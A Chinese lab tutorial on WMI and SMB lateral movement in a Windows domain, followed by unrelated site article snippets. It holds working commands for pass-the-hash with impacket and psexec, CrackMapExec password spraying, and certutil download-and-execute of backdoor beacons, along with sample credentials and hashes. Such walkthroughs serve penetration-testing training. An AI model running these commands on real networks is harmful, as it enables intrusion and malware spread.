内网安全:WMI协议与SMB协议横向移动

目录

网络拓扑图

网络环境说明

WMI协议

SMB协议

域内信息收集

WMI协议 - 横向移动

利用方式一:wmic命令

利用方式一:cscript

利用方式一:impacket

SMB协议 - 横向移动

利用方式一:psexec

利用方式二:psexec.exe

利用方式三:CS插件

利用方式四:Impacket-smbexec

利用方式五:services

域横向移动-工具自动化横向

CraMapExec-密码喷射

一. 下载安装Linux平台代理Proxychains

二. CraMapExec 上线整个内网


网络拓扑图

IPC横向移动的实验环境如下

网络环境说明

攻击机:

        LInux      IP:47.94.236.117

内网环境:单域环境

        Webserver:内网主机的网络出口,已拿到权限,通过它进行内网横向移动

                             IP:192.168.46.146       192.168.3.31

        DC:域控     IP:192.168.3.21

        Jack-PC:    IP:192.168.3.29

        Mary-PC:   IP:192.168.3.25

        SQLServer:IP:192.168.3.32

        FileServer: IP:192.168.3.30

目标:拿下整个内网

WMI协议

WMI(Windows Management Instrumentation)协议是一种用于管理和监控Windows操作系统的协议。它是Microsoft Windows提供的一套系统管理和监控工具,用于管理本地或远程计算机上的系统信息、配置和状态。

WMI协议的主要目标是提供一种统一的接口,使系统管理员和开发人员能够通过编程方式获取和控制Windows操作系统的各种管理信息。通过WMI协议,可以访问和操作计算机的硬件、操作系统、网络、进程、服务等各个方面的信息。

通过使用WMI协议,可以执行以下操作:

  • 获取系统信息:可以查询计算机的硬件信息(如CPU、内存、磁盘)、操作系统信息(如版本、安装日期)、网络信息等。

  • 远程管理:可以通过WMI协议远程管理其他计算机上的服务、进程、事件日志等。

  • 监控和警报:可以通过WMI协议实时监控系统的性能指标、事件日志,并设置警报和触发操作。

  • 配置和设置:可以使用WMI协议修改系统配置、管理用户账户、安装软件等。

在Windows操作系统中,WMI协议提供了强大的管理和监控功能,使系统管理员能够更轻松地管理和维护系统。开发人员也可以利用WMI协议编写

SMB协议

SMB(Server Message Block)协议是一种用于在计算机网络上共享文件、打印机和其他资源的通信协议。它是在局域网(LAN)中广泛使用的一种协议,最初由IBM开发,后来由微软引入并逐渐发展为现代的SMB协议。

SMB协议的作用是允许计算机之间共享文件和资源,并提供对这些共享资源的访问和管理。它提供了一套通信规范和命令,使计算机能够进行以下操作:

  1. 文件共享:SMB协议允许计算机共享文件和文件夹。通过SMB协议,用户可以在网络上访问其他计算机上共享的文件,就像访问本地文件一样。这使得多个用户可以在网络上共享和协作编辑文件。

  2. 打印机共享:SMB协议还支持打印机共享。它允许计算机将本地打印机共享给其他网络上的计算机,使这些计算机可以通过网络打印文件。

  3. 资源访问和管理:SMB协议提供了一系列命令和功能,用于访问和管理网络上的共享资源。用户可以通过SMB协议浏览共享资源、查看文件属性、创建、删除和重命名文件等。

  4. 身份验证和安全:SMB协议支持身份验证机制,确保只有经过授权的用户可以访问共享资源。它使用用户凭据进行身份验证,并可以使用加密来保护数据传输的安全性。

SMB协议通常在应用层和传输层之间运行,使用TCP/IP作为底层的网络传输协议。它在Windows操作系统中得到广泛应用,并被用于局域网中的文件共享和打印机共享。此外,SMB协议还经过不断的发展和改进,最新的版本是SMB3,它引入了更高的性能和安全性特性。

域内信息收集

主要针对内网的网络情况,已沦陷主机明文密码,Hash抓取上进行收集

如何收集不再赘述,直接展示收集的结果

域中网络,Webserver 192.168.46.128     192.168.46.*网段出网,192.168.3.*网段不出网

针对的135端口扫描

已沦陷主机内存密码,Hash抓取结果

WMI协议 - 横向移动

WMI协议是通过135端口进行利用的,支持用户明文或hash方式进行认证

不会再目标系统日志留下痕迹

利用方式一:wmic命令

这是一个单执行的指令,系统自带命令无回显

优势:不需要免杀

缺点:不支持Hash,且无回显

win10 使用该命令会报错
‘vmic’ 不是内部或外部命令,也不是可运行的程序 或批处理文件。
在Win10中,wmic已经归入C:\Windows\System32\wbem文件夹,而环境变量只设置到C:\Windows\System32,因此找不到wmic
只需要添加C:\Windows\System32\wbem 到环境变量——系统变量的Path变量

执行命令

换用DC账户密码,ver已经执行了,但是因为无回显

执行命令,说明执行了,但是无回显

普通账号显示拒绝访问 权限不够,DC账号可用

wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/bindtcp-2222.exe c:/beacon.exe"	

 执行命令。经测试 不能执行后门,DC账号也不能用

wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe c:/beacon.exe"   

利用方式一:cscript

这是交互式的,也就意味可以反弹shell,但是CS无法反弹,直接会卡死

这个实战不常用

需要再Webserver上传wmiexec.vbs

在Webserver上执行命令,cscript系统自带

cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345

反弹shell

无法反弹shell,适合在shell环境进行横向移动

利用方式一:impacket

利用impacket中的wmiexec模块进行横向移动,非系统自带,支持hash传递

想要使用这种方式:

  1. 上传工具到webserver上,需要py解析环境
  2. 通过代理技术,把攻击机带进内网中,就可以攻击机本地测试(推荐)

代理搭建:

CS服务端:代理转发-Socks代理-配置代理端口

攻击机:proxifier设置代理,IP为CS服务器IP:47.94.236.117 

Py本地运行,测试目标的本地用户 administrator

python3 wmiexec.py ./administrator:admin!@#45@192.168.3.32 "whoami"
或者
python3 wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"

CS建立反向连接

CS选择Webserver的会话建立监听器,生成木马,上传到Webserver的web服务根目录下

之后横向移动令目标下载木马并执行

目标C盘出现木马

 上线

接下来就再抓取新沦陷主机的内存明文密码和Hash,

SMB协议 - 横向移动

利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。

利用方式一:psexec

交互式 windows官方工具,白名单,不会被杀,可以从微软官方pstools下载得到

在上面已经建立了代理的情况,攻击机访问192.168.3.*网络的流量都会转发给CS服务器发到内网中,可以在本地直接测试

这个是交互式的会反弹一个cmd窗口,所以不可以在CS上做。

这个的执行需要管理员以上的权限

攻击机本地测试:

psexec64 \\192.168.3.32 -u administrator -p admin!@#45 -s cmd

 反弹shell回来:

利用方式二:psexec.exe

EXE版Impacket的利用,同上在本地进行测试

psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

也会反弹会一个shell

利用方式三:CS插件

CS差价-有手就行

 失败

去掉域GOD

 成功上线

选上GOD就是用域用户administrator登录,不选就是本地adminstrator登录,两个是不一样的

原因很简单,用GOD域用户administrator登录账号密码是错误的,那个Hash不是域用户的,这个Hash确实本地administrator的。

横向移动要学会切换用户去攻击,攻击对方域用户,攻击对方本地账户

利用方式四:Impacket-smbexec

利用代理技术,把攻击机带入内网进行攻击

攻击本地用户 + 明文密码,成功

python3 smbexec.py ./administrator:admin!@#45@192.168.3.32	#非域用户

攻击域用户 + 明文密码,失败 

python3 smbexec.py god/administrator:admin!@#45@192.168.3.32	#域用户

攻击本地用户 + Hash,成功 

python3 smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

攻击域用户 + Hash,失败 

python3 smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c god/administrator@192.168.3.32smbexec -hashes god/administrator:518b98ad4178a53695dc997aa02d455c@192.168.3.32

利用方式五:services

单执行,无回显,不推荐,太麻烦了

services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 create -name shell -display shellexec -path C:\Windows\System32\shell.exe
services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 start -name shell

域横向移动-工具自动化横向

这上一篇中,演示了IPC协议使用写脚本横向移动

每次跑完脚本,有主机上线,抓取密码,使用新密码再进行横向移动跑脚本。

如果有的主机被发现,每次修改密码太过于繁琐。推荐一款工具,实现自动化

CrackMapExec
Github:https://github.com/Porchetta-Industries/CrackMapExec
官方手册:https://mpgn.gitbook.io/crackmapexec/
部分案例:https://www.freebuf.com/sectool/184573.html
下载对应release,建立socks连接,设置socks代理,配置规则,调用!
Linux Proxychains使用
安装使用:https://blog.csdn.net/qq_53086690/article/details/121779832
代理配置:Proxychains.conf 代理调用:Proxychains 命令
————————————————
版权声明:本文为CSDN博主「今天是 几 号」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_53009585/article/details/129775792

CraMapExec-密码喷射

常用命令:

密码喷射域登录:
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’
密码喷射本地登录:
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’ --local-auth
密码喷射本地登录命令执行:
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’ -x ‘whoami’ --local-auth
密码喷射本地登录命令执行上线:
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’ -x ‘cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/webserver4444.exe & c:/webserver4444.exe’ --local-auth
密码喷射域登录命令执行上线:
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’ -x ‘cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/webserver4444.exe & c:/webserver4444.exe’

密码喷射本地&域登录命令执行全自动上线:
proxychains python cme smb 192.168.3.21-32 -u user.txt -p pass.txt -x ‘cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/webserver4444.exe & c:/webserver4444.exe’

proxychains python cme smb 192.168.3.21-32 -u administrator -p pass.txt -x ‘cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/webserver4444.exe & c:/webserver4444.exe’ --local-auth

Windows平台使用:使用代理,运行工具即可

这里演示的是Linux平台:项目放在Linux上跑     

Linux-->Proxychains(代理,Linux流量转发)--->CS   和win平台原理一样,就是换个工具

现在回到最开始只拿到一个主机的时候,提取的密码

一. 下载安装Linux平台代理Proxychains

安装使用参考这篇文章,很详细:

https://blog.csdn.net/qq_53086690/article/details/121779832

代理配置文件:Proxychains.conf

代理调用:Proxychains 命令

配置代理:

vim /etc/Proxychains.conf

走的是SOCK4协议,因为攻击机就是CS所在的服务器,所以需要把代理配置再本地的30194端口,CS接收发送到内网

二. CraMapExec 上线整个内网

测试代理

使用代理运行工具,打开项目

proxychains python cme

使用smb协议通讯内网主机 192.168.3.21

proxychains python cme smb 192.168.3.21

密码喷射与登录,测试域登录,即攻击域用户

proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’

全部失败,红色减号表示失败

密码喷射本地登录 攻击主机本地用户

proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’ --local-auth

成功,测试出来可以登录的主机

直接攻击 192.168.3.29 命令执行

之后命令该为下载执行命令即可

 192.168.3.29 上线CS

测试利用Hash喷射域用户

全部成功

因为这个Hash正好是域控的Hash

加上命令执行

之后全部上线

还可以这样操作

vim u.txt      里面全是用户名(信息收集得到)

vim p.txt      拿到的所有凭据

u.txt和p.txt我写反了 不过没关系,参数换一下即可

最终全部上线

也就是说我们控制lwebserver后提取密码与哈希,就能利用这个工具自动化横向移动。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/50377.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux下的Shell编程——正则表达式入门(四)

前言: 正则表达式使用单个字符串来描述、匹配一系列符合某个语法规则的字符串。在很多文本编辑器里,正则表达式通常被用来检索、替换那些符合某个模式的文本。 在Linux 中,grep,sed,awk 等文本处理工具都支持…

golang 协程的实现原理

核心概念 要理解协程的实现, 首先需要了解go中的三个非常重要的概念, 它们分别是G, M和P, 没有看过golang源代码的可能会对它们感到陌生, 这三项是协程最主要的组成部分, 它们在golang的源代码中无处不在. G (goroutine) G是goroutine的头文字, goroutine可以解释为受管理的…

MFC为控件添加背景图片

1、 添加选择Bitmap导入图片,图片文件最好放在项目res目录中,同时是BMP格式。上传后的图片在资源视图,命名为IDB_BITMAP_M_BACK。 2、在cpp的C***Dlg::OnPaint()函数下添加如下代码 void C***Dlg::OnPaint() {CPaintDC dc(this); // device…

科技项目验收检测报告获取有哪些注意事项,作用都有哪些?

验收测试报告 软件从研发到结束是一个很长的周期,对于软件想要完成上市或者是交付到用户手中之前我们还需要进行一次全面检测,也就是科技项目验收测试,此测试有着严格的要求,需要第三方软件测评机构来完成,并出具科技…

软件配置安装(破解)--- maven下载配置

检查环境是否已有 首先检查一下电脑里有无maven环境,有的话就不用安装了 查看path环境中没有maven,开始准备接下来的重头戏 下载maven 下载bin.zip版 解压mavenxxxbin.zip (建议把解压的文件放在一个文件夹内,命名英文的env…

C++,类的特殊函数练习

设计一个Per类&#xff0c;类中包含私有成员:姓名、年龄、指针成员身高、体重&#xff0c;再设计一个Stu类&#xff0c;类中包含私有成员:成绩、Per类对象p1&#xff0c;设计这两个类的构造函数、析构函数和拷贝构造函数。 #include <iostream> using namespace std;cla…

无类别域间路由(Classless Inter-Domain Routing, CIDR):理解IP网络和子网划分(传统的IP地址类ABCDE:分类网络)

文章目录 无类别域间路由&#xff08;CIDR&#xff09;&#xff1a;理解IP网络和子网划分引言传统的IP地址类关于“IP地址的浪费” IP地址与CIDRIP地址概述网络号与主机号CIDR记法&#xff08;网络 网络地址/子网掩码&#xff09;网络和广播地址 CIDR的优势减少路由表项缓解IP…

PDF校对:追求文档的精准与完美

随着数字化时代的到来&#xff0c;PDF已经成为了多数机构和个人首选的文件格式&#xff0c;原因在于它的稳定性、跨平台特性以及统一的显示效果。但是&#xff0c;对于任何需要公开或正式发布的文档&#xff0c;确保其内容的准确性是至关重要的&#xff0c;这就是PDF校对显得尤…

item_search_shop-获得淘宝/天猫店铺的所有商品

一、接口参数说明&#xff1a; item_search_shop-获得店铺的所有商品&#xff0c;点击更多API调试&#xff0c;请移步注册API账号点击获取测试key和secret 公共参数 请求地址: https://api-gw.onebound.cn/taobao/item_search_shop 名称类型必须描述keyString是调用key&…

图像分割unet系列------TransUnet详解

图像分割unet系列------TransUnet详解 1、TransUnet结构2、我关心的问题3、总结与展望 TransUnet发表于2021年&#xff0c;它是对UNet非常重要的改进&#xff0c;专为医学图像分割任务设计&#xff0c;特别用于在医学图像中分割器官或病变等解剖结构。 1、TransUnet结构 TransU…

学习网络编程No.2【深入理解TCP/IP】

引言&#xff1a; 北京时间&#xff1a;2023/8/9/13:04&#xff0c;昨天在摆烂中把网络基础相关知识的博客更新&#xff0c;依然还是上不了C站热榜&#xff0c;我估计是因为我账号热度不够没有上榜资格&#xff0c;也可能是因为前段时间没有积极更新&#xff0c;导致周榜被甩出…

【力扣每日一题】2023.8.18 3n块披萨

目录 题目&#xff1a; 示例&#xff1a; 分析&#xff1a; 代码&#xff1a; 题目&#xff1a; 示例&#xff1a; 分析&#xff1a; 题目给我们一个披萨&#xff0c;分成了3n块&#xff0c;每次我们可以选择一块&#xff0c;而我们的两个小伙伴会拿走我们选的披萨的相邻的…

uni-app的nvue文件国际化不翻译问题解决办法

官网上的nvue国际化方式介绍的实在是太简单了&#xff0c;记得要引入下message文件&#xff0c;还要用uni.setLocale()设置下&#xff0c;但是不管我怎么引入都会报错。 所以我直接把文件拿过来了&#xff0c;通过对象的方式去取。 <!-- index.nvue 文件 --> <view&g…

博客系统前端页面(项目实战系列1)

目录 前言&#xff1a; 1.前端 1.1博客列表页 1.1.1博客列表页效果预览图 1.1.2实现导航栏 1.1.3实现版心个人信息博客列表 1.2博客详情页 1.2.1博客详情页效果预览图 1.2.2实现导航栏 版心个人信息 1.2.3实现博客正文 1.3登录页 1.3.1登录页效果预览图 1.3.2导航…

Redis是如何保证高可用的?

Redis这种基于内存的关系型数据库我们在选用的时候就是考虑到它的快。而且可以很方便的实现诸如分布式锁、消息队列等功能。 笔者在前一段秋招面试的时候就被提问&#xff0c;“Redis是怎么保证高可用的&#xff1f;” 后续的子问题包含&#xff0c;集群模式是怎么实现的&…

睿趣科技:抖音开网店要怎么找货源

在当今数字化的时代&#xff0c;电商平台的兴起为越来越多的人提供了开设网店的机会&#xff0c;而抖音作为一个充满活力的短视频平台&#xff0c;也为创业者提供了广阔的发展空间。然而&#xff0c;对于许多初次涉足电商领域的人来说&#xff0c;找到合适的货源却是一个重要的…

Qt应用开发(拓展篇)——示波器/图表 QCustomPlot

一、介绍 QCustomPlot是一个用于绘图和数据可视化的Qt C小部件。它没有进一步的依赖关系&#xff0c;提供友好的文档帮助。这个绘图库专注于制作好看的&#xff0c;出版质量的2D绘图&#xff0c;图形和图表&#xff0c;以及为实时可视化应用程序提供高性能。 QCustomPl…

../../ 目录遍历

在web功能设计中,很多时候我们会要将需要访问的文件定义成变量&#xff0c;从而让前端的功能便的更加灵活。 当用户发起一个前端的请求时&#xff0c;便会将请求的这个文件的值(比如文件名称)传递到后台&#xff0c;后台再执行其对应的文件。 在这个过程中&#xff0c;如果后…

前端工程化概述

软件工程定义&#xff1a;将工程方法系统化地应用到软件开发中 前端发展历史 前端工程化的发展历史可以追溯到互联网的早期阶段&#xff0c;随着前端技术的不断演进和互联网应用的复杂化&#xff0c;前端工程化也逐渐成为了前端开发的重要领域。以下是前端工程化的主要发展里程…

Three.js 实现模型材质局部辉光(发光,光晕)效果和解决辉光影响场景背景图显示的问题

1.Three.js 实现模型材质局部辉光&#xff08;发光&#xff0c;光晕&#xff09;效果 2.解决辉光效果影响场景背景图显示的问题 相关API的使用&#xff1a; 1. EffectComposer&#xff08;渲染后处理的通用框架&#xff0c;用于将多个渲染通道&#xff08;pass&#xff09;组…